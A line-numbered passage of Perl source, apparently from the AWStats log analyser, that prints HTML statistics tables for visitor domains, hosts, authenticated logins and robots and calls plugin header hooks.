"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",
14161
 
                        1
14162
 
                );
14163
 
        }
14164
 
 
14165
 
        # Call to plugins' function AddHTMLContentHeader
14166
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } )
14167
 
        {
14168
 
 
14169
 
                #               my $function="AddHTMLContentHeader_$pluginname()";
14170
 
                #               eval("$function");
14171
 
                # to add unique visitors & number of visits, by J Ruano @ CAPSiDE
14172
 
                if ( $ShowDomainsStats =~ /U/i ) {
14173
 
                        print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
14174
 
                }
14175
 
                if ( $ShowDomainsStats =~ /V/i ) {
14176
 
                        print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
14177
 
                }
14178
 
 
14179
 
                my $function = "AddHTMLContentHeader_$pluginname";
14180
 
                &$function();
14181
 
        }
14182
 
 
14183
 
        # Output particular part
14184
 
        #-----------------------
14185
 
        if ( scalar keys %HTMLOutput == 1 ) {
14186
 
 
14187
 
                if ( $HTMLOutput{'alldomains'} ) {
14188
 
                        print "$Center<a name=\"domains\">&nbsp;</a><br />\n";
14189
 
 
14190
 
                        # Show domains list
14191
 
                        my $title = '';
14192
 
                        my $cpt   = 0;
14193
 
                        if ( $HTMLOutput{'alldomains'} ) {
14194
 
                                $title .= "$Message[25]";
14195
 
                                $cpt = ( scalar keys %_domener_h );
14196
 
                        }
14197
 
                        &tab_head( "$title", 19, 0, 'domains' );
14198
 
                        print
14199
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
14200
 
                        if ( $ShowDomainsStats =~ /U/i ) {
14201
 
                                print
14202
 
                                  "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
14203
 
                        }
14204
 
                        if ( $ShowDomainsStats =~ /V/i ) {
14205
 
                                print
14206
 
                                  "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
14207
 
                        }
14208
 
                        if ( $ShowDomainsStats =~ /P/i ) {
14209
 
                                print
14210
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14211
 
                        }
14212
 
                        if ( $ShowDomainsStats =~ /H/i ) {
14213
 
                                print
14214
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14215
 
                        }
14216
 
                        if ( $ShowDomainsStats =~ /B/i ) {
14217
 
                                print
14218
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14219
 
                        }
14220
 
                        print "<th>&nbsp;</th>";
14221
 
                        print "</tr>\n";
14222
 
                        $total_u = $total_v = $total_p = $total_h = $total_k = 0;
14223
 
                        $max_h = 1;
14224
 
                        foreach ( values %_domener_h ) {
14225
 
                                if ( $_ > $max_h ) { $max_h = $_; }
14226
 
                        }
14227
 
                        $max_k = 1;
14228
 
                        foreach ( values %_domener_k ) {
14229
 
                                if ( $_ > $max_k ) { $max_k = $_; }
14230
 
                        }
14231
 
                        my $count = 0;
14232
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
14233
 
                                \%_domener_p );
14234
 
                        foreach my $key (@keylist) {
14235
 
                                my ( $_domener_u, $_domener_v );
14236
 
                                my $bredde_p = 0;
14237
 
                                my $bredde_h = 0;
14238
 
                                my $bredde_k = 0;
14239
 
                                if ( $max_h > 0 ) {
14240
 
                                        $bredde_p =
14241
 
                                          int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
14242
 
                                }    # use max_h to enable to compare pages with hits
14243
 
                                if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
14244
 
                                if ( $max_h > 0 ) {
14245
 
                                        $bredde_h =
14246
 
                                          int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
14247
 
                                }
14248
 
                                if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
14249
 
                                if ( $max_k > 0 ) {
14250
 
                                        $bredde_k =
14251
 
                                          int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
14252
 
                                          1;
14253
 
                                }
14254
 
                                if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
14255
 
                                my $newkey = lc($key);
14256
 
                                if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
14257
 
                                        print
14258
 
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
14259
 
                                          . AltTitle("$Message[0]")
14260
 
                                          . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
14261
 
                                }
14262
 
                                else {
14263
 
                                        print
14264
 
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
14265
 
                                          . AltTitle("$newkey")
14266
 
                                          . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
14267
 
                                }
14268
 
                                ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
14269
 
                                if ( $ShowDomainsStats =~ /U/i ) {
14270
 
                                        $_domener_u = (
14271
 
                                                  $_domener_p{$key}
14272
 
                                                ? $_domener_p{$key} / $TotalPages
14273
 
                                                : 0
14274
 
                                        );
14275
 
                                        $_domener_u += ( $_domener_h{$key} / $TotalHits );
14276
 
                                        $_domener_u =
14277
 
                                          sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
14278
 
                                        print "<td>$_domener_u ("
14279
 
                                          . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
14280
 
                                          . ")</td>";
14281
 
                                }
14282
 
                                if ( $ShowDomainsStats =~ /V/i ) {
14283
 
                                        $_domener_v = (
14284
 
                                                  $_domener_p{$key}
14285
 
                                                ? $_domener_p{$key} / $TotalPages
14286
 
                                                : 0
14287
 
                                        );
14288
 
                                        $_domener_v += ( $_domener_h{$key} / $TotalHits );
14289
 
                                        $_domener_v =
14290
 
                                          sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
14291
 
                                        print "<td>$_domener_v ("
14292
 
                                          . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
14293
 
                                          . ")</td>";
14294
 
                                }
14295
 
                                if ( $ShowDomainsStats =~ /P/i ) {
14296
 
                                        print "<td>$_domener_p{$key}</td>";
14297
 
                                }
14298
 
                                if ( $ShowDomainsStats =~ /H/i ) {
14299
 
                                        print "<td>$_domener_h{$key}</td>";
14300
 
                                }
14301
 
                                if ( $ShowDomainsStats =~ /B/i ) {
14302
 
                                        print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
14303
 
                                }
14304
 
                                print "<td class=\"aws\">";
14305
 
                                if ( $ShowDomainsStats =~ /P/i ) {
14306
 
                                        print
14307
 
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
14308
 
                                          . AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) )
14309
 
                                          . " /><br />\n";
14310
 
                                }
14311
 
                                if ( $ShowDomainsStats =~ /H/i ) {
14312
 
                                        print
14313
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
14314
 
                                          . AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) )
14315
 
                                          . " /><br />\n";
14316
 
                                }
14317
 
                                if ( $ShowDomainsStats =~ /B/i ) {
14318
 
                                        print
14319
 
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
14320
 
                                          . AltTitle(
14321
 
                                                "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
14322
 
                                          . " />";
14323
 
                                }
14324
 
                                print "</td>";
14325
 
                                print "</tr>\n";
14326
 
                                $total_u += $_domener_u;
14327
 
                                $total_v += $_domener_v;
14328
 
                                $total_p += $_domener_p{$key};
14329
 
                                $total_h += $_domener_h{$key};
14330
 
                                $total_k += $_domener_k{$key} || 0;
14331
 
                                $count++;
14332
 
                        }
14333
 
                        my $rest_u = $TotalUnique - $total_u;
14334
 
                        my $rest_v = $TotalVisits - $total_v;
14335
 
                        $rest_p = $TotalPages - $total_p;
14336
 
                        $rest_h = $TotalHits - $total_h;
14337
 
                        $rest_k = $TotalBytes - $total_k;
14338
 
                        if (   $rest_u > 0
14339
 
                                || $rest_v > 0
14340
 
                                || $rest_p > 0
14341
 
                                || $rest_h > 0
14342
 
                                || $rest_k > 0 )
14343
 
                        {    # All other domains (known or not)
14344
 
                                print
14345
 
"<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14346
 
                                if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
14347
 
                                if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
14348
 
                                if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
14349
 
                                if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14350
 
                                if ( $ShowDomainsStats =~ /B/i ) {
14351
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
14352
 
                                }
14353
 
                                print "<td class=\"aws\">&nbsp;</td>";
14354
 
                                print "</tr>\n";
14355
 
                        }
14356
 
                        &tab_end();
14357
 
                        &html_end(1);
14358
 
                }
14359
 
                if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
14360
 
                        print "$Center<a name=\"hosts\">&nbsp;</a><br />\n";
14361
 
 
14362
 
                        # Show filter form
14363
 
                        &ShowFormFilter( "hostfilter", $FilterIn{'host'},
14364
 
                                $FilterEx{'host'} );
14365
 
 
14366
 
                        # Show hosts list
14367
 
                        my $title = '';
14368
 
                        my $cpt   = 0;
14369
 
                        if ( $HTMLOutput{'allhosts'} ) {
14370
 
                                $title .= "$Message[81]";
14371
 
                                $cpt = ( scalar keys %_host_h );
14372
 
                        }
14373
 
                        if ( $HTMLOutput{'lasthosts'} ) {
14374
 
                                $title .= "$Message[9]";
14375
 
                                $cpt = ( scalar keys %_host_h );
14376
 
                        }
14377
 
                        &tab_head( "$title", 19, 0, 'hosts' );
14378
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
14379
 
                        if ( $FilterIn{'host'} || $FilterEx{'host'} ) {    # With filter
14380
 
                                if ( $FilterIn{'host'} ) {
14381
 
                                        print "$Message[79] '<b>$FilterIn{'host'}</b>'";
14382
 
                                }
14383
 
                                if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; }
14384
 
                                if ( $FilterEx{'host'} ) {
14385
 
                                        print " Exlude $Message[79] '<b>$FilterEx{'host'}</b>'";
14386
 
                                }
14387
 
                                if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; }
14388
 
                                print "$cpt $Message[81]";
14389
 
                                if ( $MonthRequired ne 'all' ) {
14390
 
                                        if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
14391
 
                                                print
14392
 
"<br />$Message[102]: $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1] - $TotalUnique $Message[11]";
14393
 
                                        }
14394
 
                                }
14395
 
                        }
14396
 
                        else {    # Without filter
14397
 
                                if ( $MonthRequired ne 'all' ) {
14398
 
                                        print
14399
 
"$Message[102] : $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1] - $TotalUnique $Message[11]";
14400
 
                                }
14401
 
                                else { print "$Message[102] : " . ( scalar keys %_host_h ); }
14402
 
                        }
14403
 
                        print "</th>";
14404
 
                        &ShowHostInfo('__title__');
14405
 
                        if ( $ShowHostsStats =~ /P/i ) {
14406
 
                                print
14407
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14408
 
                        }
14409
 
                        if ( $ShowHostsStats =~ /H/i ) {
14410
 
                                print
14411
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14412
 
                        }
14413
 
                        if ( $ShowHostsStats =~ /B/i ) {
14414
 
                                print
14415
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14416
 
                        }
14417
 
                        if ( $ShowHostsStats =~ /L/i ) {
14418
 
                                print "<th width=\"120\">$Message[9]</th>";
14419
 
                        }
14420
 
                        print "</tr>\n";
14421
 
                        $total_p = $total_h = $total_k = 0;
14422
 
                        my $count = 0;
14423
 
                        if ( $HTMLOutput{'allhosts'} ) {
14424
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
14425
 
                                        \%_host_p );
14426
 
                        }
14427
 
                        if ( $HTMLOutput{'lasthosts'} ) {
14428
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
14429
 
                                        \%_host_l );
14430
 
                        }
14431
 
                        foreach my $key (@keylist) {
14432
 
                                my $host = CleanXSS($key);
14433
 
                                print "<tr><td class=\"aws\">"
14434
 
                                  . ( $_robot_l{$key} ? '<b>'  : '' ) . "$host"
14435
 
                                  . ( $_robot_l{$key} ? '</b>' : '' ) . "</td>";
14436
 
                                &ShowHostInfo($key);
14437
 
                                if ( $ShowHostsStats =~ /P/i ) {
14438
 
                                        print "<td>"
14439
 
                                          . ( $_host_p{$key} ? $_host_p{$key} : "&nbsp;" )
14440
 
                                          . "</td>";
14441
 
                                }
14442
 
                                if ( $ShowHostsStats =~ /H/i ) {
14443
 
                                        print "<td>$_host_h{$key}</td>";
14444
 
                                }
14445
 
                                if ( $ShowHostsStats =~ /B/i ) {
14446
 
                                        print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
14447
 
                                }
14448
 
                                if ( $ShowHostsStats =~ /L/i ) {
14449
 
                                        print "<td>"
14450
 
                                          . (
14451
 
                                                $_host_l{$key}
14452
 
                                                ? Format_Date( $_host_l{$key}, 1 )
14453
 
                                                : '-'
14454
 
                                          )
14455
 
                                          . "</td>";
14456
 
                                }
14457
 
                                print "</tr>\n";
14458
 
                                $total_p += $_host_p{$key};
14459
 
                                $total_h += $_host_h{$key};
14460
 
                                $total_k += $_host_k{$key} || 0;
14461
 
                                $count++;
14462
 
                        }
14463
 
                        if ($Debug) {
14464
 
                                debug(
14465
 
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
14466
 
                                        2
14467
 
                                );
14468
 
                        }
14469
 
                        $rest_p = $TotalPages - $total_p;
14470
 
                        $rest_h = $TotalHits - $total_h;
14471
 
                        $rest_k = $TotalBytes - $total_k;
14472
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14473
 
                        {    # All other visitors (known or not)
14474
 
                                print
14475
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14476
 
                                &ShowHostInfo('');
14477
 
                                if ( $ShowHostsStats =~ /P/i ) {
14478
 
                                        print "<td>" . ( $rest_p ? $rest_p : "&nbsp;" ) . "</td>";
14479
 
                                }
14480
 
                                if ( $ShowHostsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14481
 
                                if ( $ShowHostsStats =~ /B/i ) {
14482
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
14483
 
                                }
14484
 
                                if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
14485
 
                                print "</tr>\n";
14486
 
                        }
14487
 
                        &tab_end();
14488
 
                        &html_end(1);
14489
 
                }
14490
 
                if ( $HTMLOutput{'unknownip'} ) {
14491
 
                        print "$Center<a name=\"unknownip\">&nbsp;</a><br />\n";
14492
 
                        &tab_head( "$Message[45]", 19, 0, 'unknownwip' );
14493
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
14494
 
                          . ( scalar keys %_host_h )
14495
 
                          . " $Message[1]</th>";
14496
 
                        &ShowHostInfo('__title__');
14497
 
                        if ( $ShowHostsStats =~ /P/i ) {
14498
 
                                print
14499
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14500
 
                        }
14501
 
                        if ( $ShowHostsStats =~ /H/i ) {
14502
 
                                print
14503
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14504
 
                        }
14505
 
                        if ( $ShowHostsStats =~ /B/i ) {
14506
 
                                print
14507
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14508
 
                        }
14509
 
                        if ( $ShowHostsStats =~ /L/i ) {
14510
 
                                print "<th width=\"120\">$Message[9]</th>";
14511
 
                        }
14512
 
                        print "</tr>\n";
14513
 
                        $total_p = $total_h = $total_k = 0;
14514
 
                        my $count = 0;
14515
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
14516
 
                                \%_host_p );
14517
 
                        foreach my $key (@keylist) {
14518
 
                                my $host = CleanXSS($key);
14519
 
                                print "<tr><td class=\"aws\">$host</td>";
14520
 
                                &ShowHostInfo($key);
14521
 
                                if ( $ShowHostsStats =~ /P/i ) {
14522
 
                                        print "<td>"
14523
 
                                          . ( $_host_p{$key} ? $_host_p{$key} : "&nbsp;" )
14524
 
                                          . "</td>";
14525
 
                                }
14526
 
                                if ( $ShowHostsStats =~ /H/i ) {
14527
 
                                        print "<td>$_host_h{$key}</td>";
14528
 
                                }
14529
 
                                if ( $ShowHostsStats =~ /B/i ) {
14530
 
                                        print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
14531
 
                                }
14532
 
                                if ( $ShowHostsStats =~ /L/i ) {
14533
 
                                        print "<td>"
14534
 
                                          . (
14535
 
                                                $_host_l{$key}
14536
 
                                                ? Format_Date( $_host_l{$key}, 1 )
14537
 
                                                : '-'
14538
 
                                          )
14539
 
                                          . "</td>";
14540
 
                                }
14541
 
                                print "</tr>\n";
14542
 
                                $total_p += $_host_p{$key};
14543
 
                                $total_h += $_host_h{$key};
14544
 
                                $total_k += $_host_k{$key} || 0;
14545
 
                                $count++;
14546
 
                        }
14547
 
                        if ($Debug) {
14548
 
                                debug(
14549
 
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
14550
 
                                        2
14551
 
                                );
14552
 
                        }
14553
 
                        $rest_p = $TotalPages - $total_p;
14554
 
                        $rest_h = $TotalHits - $total_h;
14555
 
                        $rest_k = $TotalBytes - $total_k;
14556
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14557
 
                        {    # All other visitors (known or not)
14558
 
                                print
14559
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
14560
 
                                &ShowHostInfo('');
14561
 
                                if ( $ShowHostsStats =~ /P/i ) {
14562
 
                                        print "<td>" . ( $rest_p ? $rest_p : "&nbsp;" ) . "</td>";
14563
 
                                }
14564
 
                                if ( $ShowHostsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14565
 
                                if ( $ShowHostsStats =~ /B/i ) {
14566
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
14567
 
                                }
14568
 
                                if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
14569
 
                                print "</tr>\n";
14570
 
                        }
14571
 
                        &tab_end();
14572
 
                        &html_end(1);
14573
 
                }
14574
 
                if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
14575
 
                        &ShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
14576
 
                        &html_end(1);
14577
 
                }
14578
 
                if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
14579
 
                        &ShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
14580
 
                        &html_end(1);
14581
 
                }
14582
 
                if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) {
14583
 
                        print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
14584
 
                        my $title = '';
14585
 
                        if ( $HTMLOutput{'alllogins'} )  { $title .= "$Message[94]"; }
14586
 
                        if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; }
14587
 
                        &tab_head( "$title", 19, 0, 'logins' );
14588
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
14589
 
                          . ( scalar keys %_login_h ) . "</th>";
14590
 
                        &ShowUserInfo('__title__');
14591
 
                        if ( $ShowAuthenticatedUsers =~ /P/i ) {
14592
 
                                print
14593
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
14594
 
                        }
14595
 
                        if ( $ShowAuthenticatedUsers =~ /H/i ) {
14596
 
                                print
14597
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14598
 
                        }
14599
 
                        if ( $ShowAuthenticatedUsers =~ /B/i ) {
14600
 
                                print
14601
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14602
 
                        }
14603
 
                        if ( $ShowAuthenticatedUsers =~ /L/i ) {
14604
 
                                print "<th width=\"120\">$Message[9]</th>";
14605
 
                        }
14606
 
                        print "</tr>\n";
14607
 
                        $total_p = $total_h = $total_k = 0;
14608
 
                        my $count = 0;
14609
 
                        if ( $HTMLOutput{'alllogins'} ) {
14610
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
14611
 
                                        \%_login_h, \%_login_p );
14612
 
                        }
14613
 
                        if ( $HTMLOutput{'lastlogins'} ) {
14614
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
14615
 
                                        \%_login_h, \%_login_l );
14616
 
                        }
14617
 
                        foreach my $key (@keylist) {
14618
 
                                print "<tr><td class=\"aws\">$key</td>";
14619
 
                                &ShowUserInfo($key);
14620
 
                                if ( $ShowAuthenticatedUsers =~ /P/i ) {
14621
 
                                        print "<td>"
14622
 
                                          . ( $_login_p{$key} ? $_login_p{$key} : "&nbsp;" )
14623
 
                                          . "</td>";
14624
 
                                }
14625
 
                                if ( $ShowAuthenticatedUsers =~ /H/i ) {
14626
 
                                        print "<td>$_login_h{$key}</td>";
14627
 
                                }
14628
 
                                if ( $ShowAuthenticatedUsers =~ /B/i ) {
14629
 
                                        print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
14630
 
                                }
14631
 
                                if ( $ShowAuthenticatedUsers =~ /L/i ) {
14632
 
                                        print "<td>"
14633
 
                                          . (
14634
 
                                                $_login_l{$key}
14635
 
                                                ? Format_Date( $_login_l{$key}, 1 )
14636
 
                                                : '-'
14637
 
                                          )
14638
 
                                          . "</td>";
14639
 
                                }
14640
 
                                print "</tr>\n";
14641
 
                                $total_p += $_login_p{$key} || 0;
14642
 
                                $total_h += $_login_h{$key};
14643
 
                                $total_k += $_login_k{$key} || 0;
14644
 
                                $count++;
14645
 
                        }
14646
 
                        if ($Debug) {
14647
 
                                debug(
14648
 
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
14649
 
                                        2
14650
 
                                );
14651
 
                        }
14652
 
                        $rest_p = $TotalPages - $total_p;
14653
 
                        $rest_h = $TotalHits - $total_h;
14654
 
                        $rest_k = $TotalBytes - $total_k;
14655
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14656
 
                        {    # All other logins and/or anonymous
14657
 
                                print
14658
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
14659
 
                                &ShowUserInfo('');
14660
 
                                if ( $ShowAuthenticatedUsers =~ /P/i ) {
14661
 
                                        print "<td>" . ( $rest_p ? $rest_p : "&nbsp;" ) . "</td>";
14662
 
                                }
14663
 
                                if ( $ShowAuthenticatedUsers =~ /H/i ) {
14664
 
                                        print "<td>$rest_h</td>";
14665
 
                                }
14666
 
                                if ( $ShowAuthenticatedUsers =~ /B/i ) {
14667
 
                                        print "<td>" . Format_Bytes($rest_k) . "</td>";
14668
 
                                }
14669
 
                                if ( $ShowAuthenticatedUsers =~ /L/i ) {
14670
 
                                        print "<td>&nbsp;</td>";
14671
 
                                }
14672
 
                                print "</tr>\n";
14673
 
                        }
14674
 
                        &tab_end();
14675
 
                        &html_end(1);
14676
 
                }
14677
 
                if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) {
14678
 
                        print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
14679
 
                        my $title = '';
14680
 
                        if ( $HTMLOutput{'allrobots'} )  { $title .= "$Message[53]"; }
14681
 
                        if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; }
14682
 
                        &tab_head( "$title", 19, 0, 'robots' );
14683
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
14684
 
                          . ( scalar keys %_robot_h )
14685
 
                          . " $Message[51]</th>";
14686
 
                        if ( $ShowRobotsStats =~ /H/i ) {
14687
 
                                print
14688
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14689
 
                        }
14690
 
                        if ( $ShowRobotsStats =~ /B/i ) {
14691
 
                                print
14692
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14693
 
                        }
14694
 
                        if ( $ShowRobotsStats =~ /L/i ) {
14695
 
                                print "<th width=\"120\">$Message[9]</th>";
14696
 
                        }
14697
 
                        print "</tr>\n";
14698
 
                        $total_p = $total_h = $total_k = $total_r = 0;
14699
 
                        my $count = 0;
14700
 
                        if ( $HTMLOutput{'allrobots'} ) {
14701
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
14702
 
                                        \%_robot_h, \%_robot_h );
14703
 
                        }
14704
 
                        if ( $HTMLOutput{'lastrobots'} ) {
14705
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
14706
 
                                        \%_robot_h, \%_robot_l );
14707
 
                        }
14708
 
                        foreach my $key (@keylist) {
14709
 
                                print "<tr><td class=\"aws\">"
14710
 
                                  . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
14711
 
                                  . "</td>";
14712
 
                                if ( $ShowRobotsStats =~ /H/i ) {
14713
 
                                        print "<td>"
14714
 
                                          . ( $_robot_h{$key} - $_robot_r{$key} )
14715
 
                                          . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
14716
 
                                }
14717
 
                                if ( $ShowRobotsStats =~ /B/i ) {
14718
 
                                        print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
14719
 
                                }
14720
 
                                if ( $ShowRobotsStats =~ /L/i ) {
14721
 
                                        print "<td>"
14722
 
                                          . (
14723
 
                                                $_robot_l{$key}
14724
 
                                                ? Format_Date( $_robot_l{$key}, 1 )
14725
 
                                                : '-'
14726
 
                                          )
14727
 
                                          . "</td>";
14728
 
                                }
14729
 
                                print "</tr>\n";
14730
 
 
14731
 
                                #$total_p += $_robot_p{$key}||0;
14732
 
                                $total_h += $_robot_h{$key};
14733
 
                                $total_k += $_robot_k{$key} || 0;
14734
 
                                $total_r += $_robot_r{$key} || 0;
14735
 
                                $count++;
14736
 
                        }
14737
 
 
14738
 
                        # For bots we need to count Totals
14739
 
                        my $TotalPagesRobots =
14740
 
                          0;    #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
14741
 
                        my $TotalHitsRobots = 0;
14742
 
                        foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
14743
 
                        my $TotalBytesRobots = 0;
14744
 
                        foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
14745
 
                        my $TotalRRobots = 0;
14746
 
                        foreach ( values %_robot_r ) { $TotalRRobots += $_; }
14747
 
                        $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
14748
 
                        $rest_h = $TotalHitsRobots - $total_h;
14749
 
                        $rest_k = $TotalBytesRobots - $total_k;
14750
 
                        $rest_r = $TotalRRobots - $total_r;
14751
 
 
14752
 
                        if ($Debug) {
14753
 
                                debug(
14754
 
"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",
14755
 
                                        2
14756
 
                                );
14757
 
                        }
14758
 
                        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
14759
 
                        {               # All other robots
14760
 
                                print
14761
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14762
 
                                if ( $ShowRobotsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14763
 
                                if ( $ShowRobotsStats =~ /B/i ) {
14764
 
                                        print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
14765
 
                                }
14766
 
                                if ( $ShowRobotsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
14767
 
                                print "</tr>\n";
14768
 
                        }
14769
 
                        &tab_end(
14770
 
                                "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
14771
 
                        &html_end(1);
14772
 
                }
14773
 
                if (   $HTMLOutput{'urldetail'}
14774
 
                        || $HTMLOutput{'urlentry'}
14775
 
                        || $HTMLOutput{'urlexit'} )
14776
 
                {
14777
 
 
14778
 
                        # Call to plugins' function ShowPagesFilter
14779
 
                        foreach
14780
 
                          my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } )
14781
 
                        {
14782
 
 
14783
 
                                #                       my $function="ShowPagesFilter_$pluginname()";
14784
 
                                #                       eval("$function");
14785
 
                                my $function = "ShowPagesFilter_$pluginname";
14786
 
                                &$function();
14787
 
                        }
14788
 
